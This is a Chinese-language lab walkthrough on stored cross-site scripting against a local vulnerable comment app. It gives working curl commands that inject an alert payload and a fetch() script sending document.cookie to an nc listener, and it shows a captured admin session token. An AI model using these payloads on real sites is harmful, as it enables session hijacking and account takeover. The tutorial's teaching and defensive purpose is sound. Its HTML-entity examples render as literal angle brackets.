简介
存储型跨站脚本攻击(Stored Cross-Site Scripting,简称存储型 XSS)是一种极其危险的 Web 漏洞。当 Web 应用程序从用户处收集输入,将其存储在数据库中(例如评论区、论坛帖子或用户个人资料),随后在未进行适当过滤的情况下将该输入嵌入到网页中时,就会发生此类漏洞。
与需要受害者点击特定构造链接的反射型 XSS 不同,存储型 XSS 具有持久性。一旦恶意载荷被注入数据库,任何访问受感染页面的用户,其浏览器都会自动执行该代码。这使得它成为攻击者窃取会话 Cookie、重定向用户或代表受害者执行未经授权操作的强大工具。
正是这种持久性使得存储型 XSS 尤为危险。攻击者只需进行一次注入,应用程序本身就会不断地将该载荷“重播”给后续的访问者。
在本实验中,你将与一个存在漏洞的本地 Web 应用程序进行交互。你将学习如何识别用户输入存储的位置,注入持久性 JavaScript 载荷,并模拟管理员在查看你注入的评论时其会话 Cookie 被窃取的场景。
识别输入存储位置(评论/个人资料)
在此步骤中,你将与本地运行的一个存在漏洞的 Web 应用程序进行交互。该应用程序包含一个简单的评论区,用户可以在其中发布消息。
要利用存储型 XSS 漏洞,首先需要确定应用程序在何处接收用户输入,以及这些输入随后在何处显示。我们将使用 curl 命令行工具与 Web 服务器进行交互。
存储型 XSS 的生命周期可以概括为一句话:输入进入应用程序,被存储,随后被渲染到其他用户的浏览器中。
首先,通过向主页发送 GET 请求来查看应用程序的当前状态。在终端中运行以下命令:
curl http://localhost:5000/
你应该会在 HTML 输出中看到一个空的评论列表:
<h1>Comments</h1><ul></ul>
现在,让我们提交一条普通评论,看看应用程序如何处理和存储我们的输入。我们将使用带有 -X POST 标志的 curl 命令将数据发送到 /post 端点。执行以下命令:
curl -X POST -d "comment=Hello World" http://localhost:5000/post
服务器应返回 Comment added!。
为了验证你的输入是否已永久存储在数据库中并反映在网页上,再次获取主页:
curl http://localhost:5000/
现在你将看到你的评论直接嵌入到了 HTML 结构中:
<h1>Comments</h1><ul><li>Hello World</li></ul>
由于应用程序直接将我们的输入放入 HTML 中,而没有任何过滤或清理,因此它极有可能存在存储型 XSS 漏洞。
注入持久性载荷
既然我们已经确认应用程序会存储并反映我们的输入,我们将尝试注入一个持久性的 JavaScript 载荷。
此时,数据库已成为攻击的传递机制。该载荷不再仅仅是存储中的文本,而是等待被渲染的未来脚本内容。
在现实场景中,如果攻击者将 <script> 标签注入到存在漏洞的评论区,服务器会将其保存在数据库中。每当有用户(包括管理员)访问评论页面时,他们的浏览器就会下载 HTML,识别出 <script> 标签,并执行攻击者的代码。
让我们注入一个经典的 XSS 概念验证载荷,它会触发一个浏览器弹窗。运行以下命令发布恶意评论:
curl -X POST -d "comment=<script>alert('XSS')</script>" http://localhost:5000/post
服务器确认评论添加成功后,再次获取主页以检查 HTML 源代码:
curl http://localhost:5000/
仔细观察输出:
<h1>Comments</h1><ul><li>Hello World</li><li><script>alert('XSS')</script></li></ul>
请注意,<script>alert('XSS')</script> 载荷的渲染方式与我们输入时完全一致。应用程序没有将尖括号(< 和 >)编码为安全的 HTML 实体(如 < 和 >)。
如果真实用户在 Chrome 或 Firefox 等 Web 浏览器中打开此页面,浏览器会将注入的文本解释为可执行的 JavaScript,屏幕上会立即弹出一个显示 "XSS" 的警告框。
窃取会话 Cookie(模拟)
虽然弹出警告框证明了漏洞的存在,但真正的攻击者会利用 XSS 进行恶意目的,例如窃取会话 Cookie。如果攻击者窃取了管理员的会话 Cookie,他们就可以劫持管理员账户并完全控制 Web 应用程序。
为了窃取 Cookie,攻击者会注入一段 JavaScript 代码,读取受害者的 document.cookie 并将其发送到攻击者控制的服务器。
首先,我们需要设置一个“监听器”来捕获被窃取的 Cookie。我们将使用 nc (netcat) 工具在 8000 端口进行监听,并将所有传入的 HTTP 请求保存到名为 stolen_cookie.txt 的文件中。末尾的 & 符号会将此命令在后台运行,以便你可以继续使用终端。
nc -l -p 8000 > stolen_cookie.txt &
接下来,我们将恶意载荷注入到存在漏洞的应用程序中。此载荷使用 JavaScript 的 fetch() API 静默地向我们的 netcat 监听器发送 HTTP 请求,并将受害者的 Cookie 附加到 URL 中。
执行以下命令注入窃取 Cookie 的载荷:
curl -X POST -d "comment=<script>fetch('http://localhost:8000/?cookie=' + document.cookie)</script>" http://localhost:5000/post
该载荷现已永久存储在数据库中,静候受害者访问页面。
模拟受害者交互
在真实的攻击中,攻击者只需等待用户浏览受感染的网站即可。由于我们在没有图形化 Web 浏览器的终端环境中工作,我们提供了一个 Python 脚本来模拟管理员访问该页面的过程。
该脚本将模拟 Web 浏览器的行为:它会从数据库中读取评论,检测到你注入的 <script> 标签,并通过向你的 netcat 监听器发送 HTTP 请求来“执行”它,同时传递一个模拟的管理员 Cookie。
使用以下命令运行模拟脚本:
python3 simulate_victim.py
你应该会看到输出,表明模拟的管理员访问了该页面,并且注入的脚本已执行:
Admin victim is visiting the page...
[Browser Simulator] Executing injected script...
当模拟浏览器执行你的载荷时,它向你在上一步启动的 netcat 监听器发送了一个 HTTP 请求。Netcat 捕获了此请求并将其保存到 stolen_cookie.txt 中。
让我们检查该文件的内容,看看是否成功捕获了管理员的会话 Cookie:
cat stolen_cookie.txt
你应该能看到 netcat 捕获的原始 HTTP GET 请求,其中包含了 URL 路径中被窃取的 Cookie:
GET /?cookie=admin_session=super_secret_admin_token_999 HTTP/1.1
Host: localhost:8000
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
恭喜!你已成功利用存储型 XSS 漏洞劫持了模拟的用户会话。有了这个 admin_session 令牌,攻击者就可以修改自己的浏览器 Cookie,并在 Web 应用程序中冒充管理员。
总结
在本实验中,你成功探索并利用了存储型跨站脚本(XSS)漏洞。你学习了如何识别那些会持久存储数据并在未进行适当 HTML 清理的情况下将其反映出来的输入字段。接着,你注入了基础的 JavaScript 载荷以确认漏洞的存在。随后,你构造了一个恶意载荷,旨在将敏感数据(如会话 Cookie)外泄给外部监听器。最后,通过模拟管理员因查看受感染页面而导致会话被劫持的场景,你深刻理解了存储型 XSS 的严重影响。
存储型 XSS 是一种关键的安全缺陷,因为它一旦植入,无需任何社会工程学手段;应用程序本身就会将攻击传递给用户。为了防止此类漏洞,开发人员在将用户提供的数据渲染到 Web 浏览器之前,必须始终实施严格的输入验证和上下文相关的输出编码(例如将 < 转换为 <)。



